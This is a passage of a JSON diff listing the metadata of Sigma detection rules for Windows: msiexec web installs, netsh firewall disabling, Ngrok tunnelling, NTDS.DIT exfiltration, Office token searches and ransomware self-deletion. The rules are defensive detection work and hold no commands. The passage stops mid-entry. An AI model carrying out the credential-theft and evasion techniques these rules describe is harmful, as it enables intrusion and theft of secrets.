+ { + "description": "Detects execution of msiexec from an uncommon directory", + "uuid": "e22a6eb2-f8a5-44b5-8b44-a2dbd47b1144", + "value": "Suspicious MsiExec Directory", + "meta": { + "refs": [ + "https://twitter.com/200_okay_/status/1194765831911215104", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_msiexec_cwd.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1036.005" + ], + "creation_date": "2019/11/14", + "filename": "proc_creation_win_susp_msiexec_cwd.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious msiexec process starts with web addresses as parameter", + "uuid": "f7b5f842-a6af-4da5-9e95-e32478f3cd2f", + "value": "MsiExec Web Install", + "meta": { + "refs": [ + "https://blog.trendmicro.com/trendlabs-security-intelligence/attack-using-windows-installer-msiexec-exe-leads-lokibot/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_msiexec_web_install.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.007", + "attack.command_and_control", + "attack.t1105" + ], + "creation_date": "2018/02/09", + "filename": "proc_creation_win_susp_msiexec_web_install.yml", + "author": "Florian Roth", + "level": "medium", + "falsepositive": [ + "False positives depend on scripts and administrative tools used in the monitored environment" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Downloads payload from remote server", + "uuid": "0c79148b-118e-472b-bdb7-9b57b444cc19", + "value": "Malicious Payload Download via Office Binaries", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Powerpnt/", + "https://medium.com/@reegun/unsanitized-file-validation-leads-to-malicious-payload-download-via-office-binaries-202d02db7191", + "Reegun J (OCBC Bank)", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_msoffice.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1105" + ], + "creation_date": "2019/10/26", + "filename": "proc_creation_win_susp_msoffice.yml", + "author": "Beyu Denis, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems", + "uuid": "0e4164da-94bc-450d-a7be-a4b176179f1f", + "value": "Suspicious Netsh Discovery Command", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1016/T1016.md#atomic-test-2---list-windows-firewall-rules", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_netsh_discovery_command.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1016" + ], + "creation_date": "2021/12/07", + "filename": "proc_creation_win_susp_netsh_discovery_command.yml", + "author": "frack113, Christopher Peacock '@securepeacock', SCYTHE '@scythe_io'", + "level": "low", + "falsepositive": [ + "Administrative activity" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects persitence via netsh helper", + "uuid": "56321594-9087-49d9-bf10-524fe8479452", + "value": "Suspicious Netsh DLL Persistence", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.007/T1546.007.md", + "https://attack.mitre.org/software/S0108/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_netsh_dll_persistence.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1546.007", + "attack.s0108" + ], + "creation_date": "2019/10/25", + "filename": "proc_creation_win_susp_netsh_dll_persistence.yml", + "author": "Victor Sergeev, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects netsh commands that turns off the Windows firewall", + "uuid": "57c4bf16-227f-4394-8ec7-1b745ee061c3", + "value": "Firewall Disabled via Netsh", + "meta": { + "refs": [ + "https://www.winhelponline.com/blog/enable-and-disable-windows-firewall-quickly-using-command-line/", + "https://app.any.run/tasks/210244b9-0b6b-4a2c-83a3-04bd3175d017/", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.004/T1562.004.md#atomic-test-1---disable-microsoft-defender-firewall", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_netsh_firewall_disable.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.004", + "attack.s0108" + ], + "creation_date": "2019/11/01", + "filename": "proc_creation_win_susp_netsh_firewall_disable.yml", + "author": "Fatih Sirin", + "level": "medium", + "falsepositive": [ + "Legitimate administration" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects execution of client32.exe (NetSupport RAT) from an unsual location (outisde of 'C:\\Program Files')", + "uuid": "37e8d358-6408-4853-82f4-98333fca7014", + "value": "Execution of NetSupport RAT From Unusual Location", + "meta": { + "refs": [ + "https://redcanary.com/blog/misbehaving-rats/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_netsupport_rat_exec_location.yml" + ], + "tags": [ + "attack.defense_evasion" + ], + "creation_date": "2022/09/19", + "filename": "proc_creation_win_susp_netsupport_rat_exec_location.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems", + "uuid": "a29c1813-ab1f-4dde-b489-330b952e91ae", + "value": "Suspicious Network Command", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1016/T1016.md#atomic-test-1---system-network-configuration-discovery-on-windows", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_network_command.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1016" + ], + "creation_date": "2021/12/07", + "filename": "proc_creation_win_susp_network_command.yml", + "author": "frack113, Christopher Peacock '@securepeacock', SCYTHE '@scythe_io'", + "level": "low", + "falsepositive": [ + "Administrator, hotline ask to user" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network.", + "uuid": "1c67a717-32ba-409b-a45d-0fb704a73a81", + "value": "Suspicious Listing of Network Connections", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1049/T1049.md#atomic-test-1---system-network-connections-discovery", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_network_listing_connections.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1049" + ], + "creation_date": "2021/12/10", + "filename": "proc_creation_win_susp_network_listing_connections.yml", + "author": "frack113", + "level": "low", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects execution of Net.exe, whether suspicious or benign.", + "uuid": "183e7ea8-ac4b-4c23-9aec-b3dac4e401ac", + "value": "Net.exe Execution", + "meta": { + "refs": [ + "https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/", + "https://eqllib.readthedocs.io/en/latest/analytics/4d2e7fc1-af0b-4915-89aa-03d25ba7805e.html", + "https://eqllib.readthedocs.io/en/latest/analytics/e61f557c-a9d0-4c25-ab5b-bbc46bb24deb.html", + "https://eqllib.readthedocs.io/en/latest/analytics/9b3dd402-891c-4c4d-a662-28947168ce61.html", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1007/T1007.md#atomic-test-2---system-service-discovery---netexe", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_net_execution.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1007", + "attack.t1049", + "attack.t1018", + "attack.t1135", + "attack.t1201", + "attack.t1069.001", + "attack.t1069.002", + "attack.t1087.001", + "attack.t1087.002", + "attack.lateral_movement", + "attack.t1021.002", + "attack.s0039" + ], + "creation_date": "2019/01/16", + "filename": "proc_creation_win_susp_net_execution.yml", + "author": "Michael Haag, Mark Woan (improvements), James Pemberton / @4A616D6573 / oscd.community (improvements)", + "level": "low", + "falsepositive": [ + "Will need to be tuned. If using Splunk, I recommend | stats count by Computer,CommandLine following the search for easy hunting by computer/CommandLine." + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects net use command combo which executes files from WebDAV server; seen in malicious LNK files", + "uuid": "f0507c0f-a3a2-40f5-acc6-7f543c334993", + "value": "Suspicious Net Use Command Combo", + "meta": { + "refs": [ + "https://twitter.com/ShadowChasing1/status/1552595370961944576", + "https://www.virustotal.com/gui/file/a63376ee1dba76361df73338928e528ca5b20171ea74c24581605366dcaa0104/behavior", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_net_use.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2022/09/01", + "filename": "proc_creation_win_susp_net_use.yml", + "author": "pH-T", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a when net.exe is called with a password in the command line", + "uuid": "d4498716-1d52-438f-8084-4a603157d131", + "value": "Password Provided In Command Line Of Net.exe", + "meta": { + "refs": [ + "Internal Research", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_net_use_password_plaintext.yml" + ], + "tags": "No established tags", + "creation_date": "2021/12/09", + "filename": "proc_creation_win_susp_net_use_password_plaintext.yml", + "author": "Tim Shelton (HAWK.IO)", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects creation of a new service (kernel driver) with the type \"kernel\"", + "uuid": "431a1fdb-4799-4f3b-91c3-a683b003fc49", + "value": "New Kernel Driver Via SC.EXE", + "meta": { + "refs": [ + "https://www.aon.com/cyber-solutions/aon_cyber_labs/yours-truly-signed-av-driver-weaponizing-an-antivirus-driver/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_new_kernel_driver_via_sc.yml" + ], + "tags": [ + "attack.persistence", + "attack.privilege_escalation", + "attack.t1543.003" + ], + "creation_date": "2022/07/14", + "filename": "proc_creation_win_susp_new_kernel_driver_via_sc.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Rare legitimate installation of kernel drivers via sc.exe" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects creation of a new service via \"sc\" command or the powershell \"new-service\" cmdlet with suspicious binary paths", + "uuid": "17a1be64-8d88-40bf-b5ff-a4f7a50ebcc8", + "value": "Suspicious New Service Creation", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1543.003/T1543.003.md", + "https://web.archive.org/web/20180331144337/https://www.fireeye.com/blog/threat-research/2018/03/sanny-malware-delivery-method-updated-in-recently-observed-attacks.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_new_service_creation.yml" + ], + "tags": [ + "attack.persistence", + "attack.privilege_escalation", + "attack.t1543.003" + ], + "creation_date": "2022/07/14", + "filename": "proc_creation_win_susp_new_service_creation.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of Ngrok, a utility used for port forwarding and tunneling, often used by threat actors to make local protected services publicly available.\nInvolved domains are bin.equinox.io for download and *.ngrok.io for connections.\n", + "uuid": "ee37eb7c-a4e7-4cd5-8fa4-efa27f1c3f31", + "value": "Ngrok Usage", + "meta": { + "refs": [ + "https://ngrok.com/docs", + "https://www.fireeye.com/blog/threat-research/2021/05/shining-a-light-on-darkside-ransomware-operations.html", + "https://stackoverflow.com/questions/42442320/ssh-tunnel-to-ngrok-and-initiate-rdp", + "https://www.virustotal.com/gui/file/58d21840d915aaf4040ceb89522396124c82f325282f805d1085527e1e2ccfa1/detection", + "https://cybleinc.com/2021/02/15/ngrok-platform-abused-by-hackers-to-deliver-a-new-wave-of-phishing-attacks/.", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_ngrok_pua.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1572" + ], + "creation_date": "2021/05/14", + "filename": "proc_creation_win_susp_ngrok_pua.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Another tool that uses the command line switches of Ngrok", + "Ngrok http 3978 (https://docs.microsoft.com/en-us/azure/bot-service/bot-service-debug-channel-ngrok?view=azure-bot-service-4.0)" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may attempt to get a listing of services running on remote hosts, including those that may be vulnerable to remote software exploitation", + "uuid": "f6ecd1cf-19b8-4488-97f6-00f0924991a3", + "value": "Suspicious Nmap Execution", + "meta": { + "refs": [ + "https://nmap.org/", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1046/T1046.md#atomic-test-3---port-scan-nmap-for-windows", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_nmap.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1046" + ], + "creation_date": "2021/12/10", + "filename": "proc_creation_win_susp_nmap.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Network administrator computer" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Checks whether the image specified in a process creation event doesn't refer to an .exe file (caused by process ghosting or other unorthodox methods to start a process)", + "uuid": "c09dad97-1c78-4f71-b127-7edb2b8e491a", + "value": "Execution of Suspicious File Type Extension", + "meta": { + "refs": [ + "https://pentestlaboratories.com/2021/12/08/process-ghosting/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_non_exe_image.yml" + ], + "tags": [ + "attack.defense_evasion" + ], + "creation_date": "2021/12/09", + "filename": "proc_creation_win_susp_non_exe_image.yml", + "author": "Max Altgelt", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects command that type the content of ntdll.dll to a different file or a pipe in order to evade AV / EDR detection", + "uuid": "bbc865e4-7fcd-45a6-8ff1-95ced28ec5b2", + "value": "Suspicious Ntdll Pipe Redirection", + "meta": { + "refs": [ + "https://www.x86matthew.com/view_post?id=ntdll_pipe", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_ntdll_type_redirect.yml" + ], + "tags": [ + "attack.defense_evasion" + ], + "creation_date": "2022/03/05", + "filename": "proc_creation_win_susp_ntdll_type_redirect.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious process patterns used in NTDS.DIT exfiltration", + "uuid": "8bc64091-6875-4881-aaf9-7bd25b5dda08", + "value": "Suspicious Process Patterns NTDS.DIT Exfil", + "meta": { + "refs": [ + "https://www.ired.team/offensive-security/credential-access-and-credential-dumping/ntds.dit-enumeration", + "https://www.n00py.io/2022/03/manipulating-user-passwords-without-mimikatz/", + "https://pentestlab.blog/tag/ntds-dit/", + "https://github.com/samratashok/nishang/blob/414ee1104526d7057f9adaeee196d91ae447283e/Gather/Copy-VSS.ps1", + "https://github.com/zcgonvh/NTDSDumpEx", + "https://github.com/rapid7/metasploit-framework/blob/d297adcebb5c1df6fe30b12ca79b161deb71571c/data/post/powershell/NTDSgrab.ps1", + "https://blog.talosintelligence.com/2022/08/recent-cyber-attack.html?m=1", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_ntds.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.003" + ], + "creation_date": "2022/03/11", + "filename": "proc_creation_win_susp_ntds.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects execution of ntdsutil.exe to perform different actions such as restoring snapshots...etc.", + "uuid": "a58353df-af43-4753-bad0-cd83ef35eef5", + "value": "Suspicious Usage Of Active Directory Diagnostic Tool (ntdsutil.exe)", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc731620(v=ws.11)", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/espionage-asia-governments", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_ntdsutil_usage.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.003" + ], + "creation_date": "2022/09/14", + "filename": "proc_creation_win_susp_ntdsutil_usage.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Legitimate usage to restore snapshots", + "Legitimate admin activity" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a privilege elevation attempt by coercing NTLM authentication on the Printer Spooler service", + "uuid": "bb76d96b-821c-47cf-944b-7ce377864492", + "value": "Suspicious WebDav Client Execution", + "meta": { + "refs": [ + "https://twitter.com/med0x2e/status/1520402518685200384", + "https://github.com/elastic/detection-rules/blob/dd224fb3f81d0b4bf8593c5f02a029d647ba2b2d/rules/windows/credential_access_relay_ntlm_auth_via_http_spoolss.toml", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_ntlmrelay.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.credential_access", + "attack.t1212" + ], + "creation_date": "2022/05/04", + "filename": "proc_creation_win_susp_ntlmrelay.yml", + "author": "Elastic (idea), Tobias Michalski", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Threat actors can use an older version of the auditpol binary available inside the NT resource kit to change audit policy configuration to impair detection capability.\nThis can be carried out by selectively disabling/removing certain audit policies as well as restoring a custom policy owned by the threat actor.\n", + "uuid": "c6c56ada-612b-42d1-9a29-adad3c5c2c1e", + "value": "Suspicious NT Resource Kit Auditpol Usage", + "meta": { + "refs": [ + "https://github.com/3CORESec/MAL-CL/tree/master/Descriptors/Windows%202000%20Resource%20Kit%20Tools/AuditPol", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_nt_resource_kit_auditpol_usage.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.002" + ], + "creation_date": "2021/12/18", + "filename": "proc_creation_win_susp_nt_resource_kit_auditpol_usage.yml", + "author": "Nasreddine Bencherchali @nas_bench", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects defence evasion attempt via odbcconf.exe execution to load DLL", + "uuid": "65d2be45-8600-4042-b4c0-577a1ff8a60e", + "value": "Application Whitelisting Bypass via DLL Loaded by odbcconf.exe", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Odbcconf/", + "https://twitter.com/Hexacorn/status/1187143326673330176", + "https://redcanary.com/blog/raspberry-robin/", + "https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-94a1964b682707e4e3f77dd61a3bfface5401d08d8cf81145f388e09614aceca", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_odbcconf.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.008" + ], + "creation_date": "2019/10/25", + "filename": "proc_creation_win_susp_odbcconf.yml", + "author": "Kirill Kiryanov, Beyu Denis, Daniil Yugoslavskiy, oscd.community", + "level": "medium", + "falsepositive": [ + "Legitimate use of odbcconf.exe by legitimate user" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects possible search for office tokens via CLI by looking for the string \"eyJ0eX\". This string is used as an anchor to look for the start of the JWT token used by office and similar apps.", + "uuid": "6d3a3952-6530-44a3-8554-cf17c116c615", + "value": "Suspicious Office Token Search Via CLI", + "meta": { + "refs": [ + "https://mrd0x.com/stealing-tokens-from-office-applications/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_office_token_search.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1528" + ], + "creation_date": "2022/10/25", + "filename": "proc_creation_win_susp_office_token_search.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Legitimate command-lines containing the string mentioned in the command-line" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "The OpenWith.exe executes other binary", + "uuid": "cec8e918-30f7-4e2d-9bfa-a59cc97ae60f", + "value": "OpenWith.exe Executes Specified Binary", + "meta": { + "refs": [ + "https://github.com/LOLBAS-Project/LOLBAS/blob/4db780e0f0b2e2bb8cb1fa13e09196da9b9f1834/yml/LOLUtilz/OSBinaries/Openwith.yml", + "https://twitter.com/harr0ey/status/991670870384021504", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_openwith.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218" + ], + "creation_date": "2019/10/12", + "filename": "proc_creation_win_susp_openwith.yml", + "author": "Beyu Denis, oscd.community (rule), @harr0ey (idea)", + "level": "high", + "falsepositive": [ + "Legitimate use of OpenWith.exe by legitimate user" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects EnableUnsafeClientMailRules used for Script Execution from Outlook", + "uuid": "e212d415-0e93-435f-9e1a-f29005bb4723", + "value": "Suspicious Execution from Outlook", + "meta": { + "refs": [ + "https://github.com/sensepost/ruler", + "https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_outlook.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059", + "attack.t1202" + ], + "creation_date": "2018/12/27", + "filename": "proc_creation_win_susp_outlook.yml", + "author": "Markus Neis", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a suspicious program execution in Outlook temp folder", + "uuid": "a018fdc3-46a3-44e5-9afb-2cd4af1d4b39", + "value": "Execution in Outlook Temp Folder", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_outlook_temp.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1566.001" + ], + "creation_date": "2019/10/01", + "filename": "proc_creation_win_susp_outlook_temp.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious parent processes that should not have any children or should only have a single possible child program", + "uuid": "cbec226f-63d9-4eca-9f52-dfb6652f24df", + "value": "Suspicious Process Parents", + "meta": { + "refs": [ + "https://twitter.com/x86matthew/status/1505476263464607744?s=12", + "https://svch0st.medium.com/stats-from-hunting-cobalt-strike-beacons-c17e56255f9b", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_parents.yml" + ], + "tags": "No established tags", + "creation_date": "2022/03/21", + "filename": "proc_creation_win_susp_parents.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects when the Console Window Host (conhost.exe) process is spawned by a suspicious parent process, which could be indicative of code injection.", + "uuid": "cbb9e3d1-2386-4e59-912e-62f1484f7a89", + "value": "Conhost Spawned By Suspicious Parent Process", + "meta": { + "refs": [ + "https://www.elastic.co/guide/en/security/current/conhost-spawned-by-suspicious-parent-process.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_parent_of_conhost.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059" + ], + "creation_date": "2022/09/28", + "filename": "proc_creation_win_susp_parent_of_conhost.yml", + "author": "Tim Rauch", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious use of PCHunter, a tool like Process Hacker to view and manipulate processes, kernel options and other low level stuff", + "uuid": "fca949cc-79ca-446e-8064-01aa7e52ece5", + "value": "PCHunter Usage", + "meta": { + "refs": [ + "http://www.xuetr.com/", + "https://www.crowdstrike.com/blog/falcon-overwatch-report-finds-increase-in-ecrime/", + "https://www.hexacorn.com/blog/2018/04/20/kernel-hacking-tool-you-might-have-never-heard-of-xuetr-pchunter/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_pchunter.yml" + ], + "tags": "No established tags", + "creation_date": "2022/10/10", + "filename": "proc_creation_win_susp_pchunter.yml", + "author": "Florian Roth, Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects launch of executable by calling the LaunchApplication function from pcwutl.dll library.", + "uuid": "9386d78a-7207-4048-9c9f-a93a7c2d1c05", + "value": "Code Execution via Pcwutl.dll", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Libraries/Pcwutl/", + "https://twitter.com/harr0ey/status/989617817849876488", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_pcwutl.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.011" + ], + "creation_date": "2020/10/05", + "filename": "proc_creation_win_susp_pcwutl.yml", + "author": "Julia Fomina, oscd.community", + "level": "medium", + "falsepositive": [ + "Use of Program Compatibility Troubleshooter Helper" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects code execution via Pester.bat (Pester - Powershell Modulte for testing)", + "uuid": "59e938ff-0d6d-4dc3-b13f-36cc28734d4e", + "value": "Execute Code with Pester.bat", + "meta": { + "refs": [ + "https://twitter.com/Oddvarmoe/status/993383596244258816", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_pester.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001", + "attack.defense_evasion", + "attack.t1216" + ], + "creation_date": "2020/10/08", + "filename": "proc_creation_win_susp_pester.yml", + "author": "Julia Fomina, oscd.community", + "level": "medium", + "falsepositive": [ + "Legitimate use of Pester for writing tests for Powershell scripts and modules" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects code execution via Pester.bat (Pester - Powershell Modulte for testing)", + "uuid": "18988e1b-9087-4f8a-82fe-0414dce49878", + "value": "Execute Code with Pester.bat as Parent", + "meta": { + "refs": [ + "https://twitter.com/Oddvarmoe/status/993383596244258816", + "https://twitter.com/_st0pp3r_/status/1560072680887525378", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_pester_parent.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001", + "attack.defense_evasion", + "attack.t1216" + ], + "creation_date": "2022/08/20", + "filename": "proc_creation_win_susp_pester_parent.yml", + "author": "frack113, Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Legitimate use of Pester for writing tests for Powershell scripts and modules" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a method often used by ransomware. Which combines the \"ping\" to wait a couple of seconds and then \"del\" to delete the file in question. Its used to hide the file responsible for the initial infection for example", + "uuid": "54786ddc-5b8a-11ed-9b6a-0242ac120002", + "value": "Suspicious Ping And Del Combination", + "meta": { + "refs": [ + "https://blog.sygnia.co/kaseya-ransomware-supply-chain-attack", + "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/06/23093553/Common-TTPs-of-the-modern-ransomware_low-res.pdf", + "https://www.acronis.com/en-us/blog/posts/lockbit-ransomware/", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/blackbyte-exbyte-ransomware", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_ping_del.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070.004" + ], + "creation_date": "2022/11/03", + "filename": "proc_creation_win_susp_ping_del.yml", + "author": "Ilya Krestinichev", + "level": "high", + "falsepositive": [ + "False positive could occur in admin scripts that execute inline" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a ping command that uses a hex encoded IP address", + "uuid": "1a0d4aba-7668-4365-9ce4-6d79ab088dfd", + "value": "Ping Hex IP", + "meta": { + "refs": [ + "https://github.com/vysecurity/Aggressor-VYSEC/blob/0d61c80387b9432dab64b8b8a9fb52d20cfef80e/ping.cna", + "https://twitter.com/vysecurity/status/977198418354491392", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_ping_hex_ip.yml" + ], + "tags": [ + "attack.defense_evasion", + 